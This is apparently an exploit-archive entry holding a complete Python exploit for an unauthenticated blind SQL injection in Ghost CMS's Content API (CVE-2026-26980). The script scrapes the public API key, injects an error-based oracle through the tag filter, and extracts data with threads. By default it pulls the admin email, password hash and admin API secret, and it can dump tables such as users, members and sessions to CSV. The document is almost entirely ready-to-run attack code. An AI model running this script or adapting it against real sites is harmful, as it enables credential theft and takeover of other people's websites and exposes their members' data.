📄 Ghost CMS 6.19.0 SQL Injection

# Exploit Title: Ghost CMS Unauthenticated SQLi via Content API
    # Date: 2026-03-30
    # Exploit Author: Maksim Rogov
    # Exploit Licence: GPL-3.0
    # Software Link: https://ghost.org/
    # Version: Ghost >= 3.24.0, <= 6.19.0
    # Tested on: Ghost 6.16.1
    # CVE : CVE-2026-26980
    
    #!/usr/bin/env python3
    
    import requests
    import re
    import sys
    import argparse
    import textwrap
    import csv
    from typing import Optional
    from concurrent.futures import ThreadPoolExecutor
    from urllib.parse import urljoin, urlparse
    
    CHARSET = "".join(sorted(set("$./0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz@!#%^&*()+-=")))
    ERROR_INDICATOR = "InternalServerError" 
    DEFAULT_THREADS = 15
    
    def to_char_hex(s: str):
        return "||".join([f"char({ord(c)})" for c in s])
    
    class GhostExploit:
        def __init__(self, target_url: str, threads: int = DEFAULT_THREADS, dbms: str = "sqlite", output: str = None, user_cols: str = None, verify: bool = True, manual_key: str = None, manual_path: str = None):
            self.target = target_url.rstrip('/')
            self.threads = threads
            self.dbms = dbms.lower()
            self.output = output
            self.user_cols = [c.strip() for c in user_cols.split(',')] if user_cols else None
            self.session = requests.Session()
            self.session.verify = verify
            self.manual_key = manual_key
            self.manual_path = manual_path
            if not verify:
                import urllib3
                urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
            self.api_key, self.endpoint, self.tag_slug, self.tag_id, self.url_template = "", "", "", "", ""
    
        def discover(self) -> bool:
            try:
                if self.manual_key and self.manual_path:
                    self.api_key = self.manual_key
                    self.endpoint = urljoin(self.target, self.manual_path)
                    if not self.endpoint.endswith('/'): self.endpoint += '/'
                else:
                    r = self.session.get(self.target, timeout=10)
                    self.api_key = re.search(r'data-key="([a-f0-9]+)"', r.text).group(1)
                    api_raw = re.search(r'data-api="([^"]+)"', r.text).group(1)
                    path = urlparse(api_raw).path
                    self.endpoint = urljoin(self.target, path)
                    if not self.endpoint.endswith('/'): self.endpoint += '/'
    
                r_tags = self.session.get(f"{self.endpoint}tags/?key={self.api_key}", timeout=10).json()
                tag = r_tags['tags'][0]
                self.tag_slug, self.tag_id = tag['slug'], tag['id']
                self.url_template = f"{self.endpoint}tags/?key={self.api_key}&filter=slug:['*',{self.tag_slug}]&limit=all"
                return True
            except: 
                return False
    
        def check(self, cond: str) -> bool:
            if self.dbms == "mysql":
                err_payload = "(SELECT exp(710))"
            else:
                err_payload = "(SELECT abs(-9223372036854775808))"
    
            payload = f" OR ({cond}) THEN {err_payload} WHEN slug="
            try:
                r = self.session.get(self.url_template.replace("*", payload, 1), timeout=7)
                return "badrequesterror" in r.text.lower() or ERROR_INDICATOR.lower() in r.text.lower()
            except: return False
    
        def get_len(self, query: str) -> int:
            length = 0
            for bit in [64, 32, 16, 8, 4, 2, 1]:
                if self.check(f"LENGTH(({query}))>={length + bit}"): length += bit
            return length
    
        def get_char(self, query: str, pos: int) -> str:
            low, high = 0, len(CHARSET) - 1
            while low < high:
                mid = (low + high) // 2
                char_code = ord(CHARSET[mid + 1])
                
                if self.dbms == "mysql":
                    cond = f"ASCII(SUBSTR(({query}) FROM {pos} FOR 1))>={char_code}"
                else:
                    prefix = "||".join(["char(63)"] * (pos - 1))
                    c_range = f"char(91)||char({char_code})||char(45)||char({ord(CHARSET[-1])})||char(93)"
                    cond = f"({query}) GLOB {prefix}||{c_range}||char(42)" if prefix else f"({query}) GLOB {c_range}||char(42)"
    
                if self.check(cond): low = mid + 1
                else: high = mid
            return CHARSET[low]
    
        def extract(self, query: str, label: str, force_len: int = None) -> str:
            length = force_len if force_len is not None else self.get_len(query)
            if length <= 0: return ""
            
            chars = [""] * length
            with ThreadPoolExecutor(max_workers=self.threads) as ex:
                futures = {ex.submit(self.get_char, query, i+1): i for i in range(length)}
                for f in futures:
                    chars[futures[f]] = f.result()
                    sys.stdout.write(f"\r  {label} ({length} chars): {''.join(c if c else '.' for c in chars)}")
                    sys.stdout.flush()
            res = "".join(chars)
            sys.stdout.write(f"\r  {label} ({length} chars): {res}\n")
            return res
    
        def print_table(self, columns, rows):
            if not rows: return
            widths = {col: len(col) for col in columns}
            for row in rows:
                for col in columns:
                    widths[col] = max(widths[col], len(str(row.get(col, ""))))
    
            sep = "+" + "+".join(["-" * (widths[col] + 2) for col in columns]) + "+"
            head = "|" + "|".join([f" {col.ljust(widths[col])} " for col in columns]) + "|"
            
            print("\n" + sep)
            print(head)
            print(sep)
            for row in rows:
                line = "|" + "|".join([f" {str(row.get(col, '')).ljust(widths[col])} " for col in columns]) + "|"
                print(line)
            print(sep + "\n")
    
        def dump_table(self, table_name: str):
            print(f"\n[*] Dumping table: {table_name}")
            cast_type = "CHAR" if self.dbms == "mysql" else "TEXT"
            
            count_str = self.extract(f"SELECT CAST(COUNT(*) AS {cast_type}) FROM {table_name}", "Total records")
            count = int(count_str) if count_str.isdigit() else 0
            if count == 0: 
                print("[!] No records found or table doesn't exist.")
                return
    
            if self.user_cols:
                columns = self.user_cols
                print(f"[*] Using user-defined columns: {', '.join(columns)}")
            elif self.dbms == "sqlite":
                t_name_char = to_char_hex(table_name)
                schema_query = f"SELECT sql FROM sqlite_master WHERE name={t_name_char}"
                cols_raw = self.extract(schema_query, "Schema")
                columns = re.findall(r'([a-zA-Z_]+)\s+(?:TEXT|VARCHAR|INT|DATETIME|TIMESTAMP|BOOLEAN)', cols_raw, re.I)
            else:
                columns = ['id', 'email', 'name', 'password', 'status']
    
            if not columns: columns = ['id', 'email']
            
            all_rows = []
            for i in range(count):
                print(f"\n  --- Record #{i+1} ---")
                current_row = {}
                for col in columns:
                    val = self.extract(f"SELECT {col} FROM {table_name} LIMIT 1 OFFSET {i}", col)
                    current_row[col] = val
                all_rows.append(current_row)
            
            self.print_table(columns, all_rows)
    
            if self.output:
                try:
                    with open(self.output, 'w', newline='', encoding='utf-8') as f:
                        writer = csv.DictWriter(f, fieldnames=columns)
                        writer.writeheader()
                        writer.writerows(all_rows)
                    print(f"[+] Exported to {self.output}")
                except Exception as e:
                    print(f"[!] Export error: {e}")
    
        def run(self, table_to_dump: Optional[str] = None):
            if not self.discover():
                print("[!] Discovery failed.")
                return
            
            print("================================================================")
            print(f"Ghost CMS - Unauthenticated SQLi Data Extraction")
            print(f"Target:   {self.target}")
            print(f"API Key:  {self.api_key}")
            print(f"Tag ID:   {self.tag_id}")
            print("Endpoint: Content API (public, no auth)")
            print("================================================================")
    
            print("\n[*] Calibrating oracle... OK")
            if not self.check("1=1"): 
                print("[!] Oracle calibration failed.")
                return
    
            if table_to_dump:
                self.dump_table(table_to_dump)
            else:
                print("\n[*] Phase 1: Recon (fast checks)")
                l_email = self.get_len("SELECT email FROM users LIMIT 1")
                print(f"  length(users.email) = {l_email}")
                l_pass = self.get_len("SELECT password FROM users LIMIT 1")
                print(f"  length(users.password) = {l_pass}")
                l_name = self.get_len("SELECT name FROM users LIMIT 1")
                print(f"  length(users.name) = {l_name}")
                l_status = self.get_len("SELECT status FROM users LIMIT 1")
                print(f"  length(users.status) = {l_status}")
    
                for t in ["users", "members", "api_keys", "sessions"]:
                    cast_t = "CHAR" if self.dbms == "mysql" else "TEXT"
                    self.extract(f"SELECT CAST(COUNT(*) AS {cast_t}) FROM {t}", f"count({t})")
    
                print("\n[*] Phase 2: Extracting values")
                self.extract("SELECT email FROM users LIMIT 1", "Admin email", l_email)
                self.extract("SELECT name FROM users LIMIT 1", "Admin name", l_name)
                
                adm_type = to_char_hex("admin")
                self.extract(f"SELECT id FROM api_keys WHERE type={adm_type} LIMIT 1", "Admin API key ID")
                self.extract(f"SELECT secret FROM api_keys WHERE type={adm_type} LIMIT 1", "Admin API secret")
                self.extract("SELECT password FROM users LIMIT 1", "Password hash", l_pass)
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(
            formatter_class=argparse.RawDescriptionHelpFormatter, 
            epilog=textwrap.dedent("""
                Usage Examples:
                python3 main.py -u http://target.com
                (Quickly extract Admin email and Password Hash from a default SQLite setup)
    
                python3 main.py -u http://target.com -d mysql -T users -C email,password -o ./result.csv
                (Dump of 'email' and 'password' columns from the 'users' table)
    
                python3 main.py -u http://target.com -d mysql -T api_keys -t 25
                (Dump all site api keys from 'api_keys' table using 25 threads)
    
                Note: Most production Ghost instances use MySQL. Local/Small blogs use SQLite.
            """)
        )
        parser.add_argument("-u", "--url", required=True, metavar="URL", help="The base URL of the target Ghost")
        parser.add_argument("--api-key", metavar="KEY", help="Ghost Content API Key (skips auto-discovery)")
        parser.add_argument("-p", "--api-path", metavar="PATH", help="Content API path (e.g., /ghost/api/content/)")
        parser.add_argument("-k", "--insecure", action="store_true", help="Allow insecure server connections when using SSL (ignore SSL certificate errors)")
        parser.add_argument("-t", "--threads", type=int, default=DEFAULT_THREADS, metavar="N", help=f"Number of concurrent threads for faster extraction (default: {DEFAULT_THREADS})")
        parser.add_argument("-d", "--dbms", default="sqlite", choices=["sqlite", "mysql"], help="The database engine Ghost is running on. Default: sqlite")
        parser.add_argument("-T", "--table", metavar="NAME", help="Specific database table to dump (e.g., users, api_keys, members, posts)")
        parser.add_argument("-C", "--columns", metavar="COL1,COL2", help="Specific columns to extract (comma separated)")
        parser.add_argument("-o", "--output", metavar="FILE", help="Save results to CSV file")
        args = parser.parse_args()
        
        try:
            exploit = GhostExploit(args.url, args.threads, args.dbms, args.output, args.columns, not args.insecure, args.api_key, args.api_path)
            exploit.run(args.table)
        except KeyboardInterrupt:
            print("\n[!] Aborted")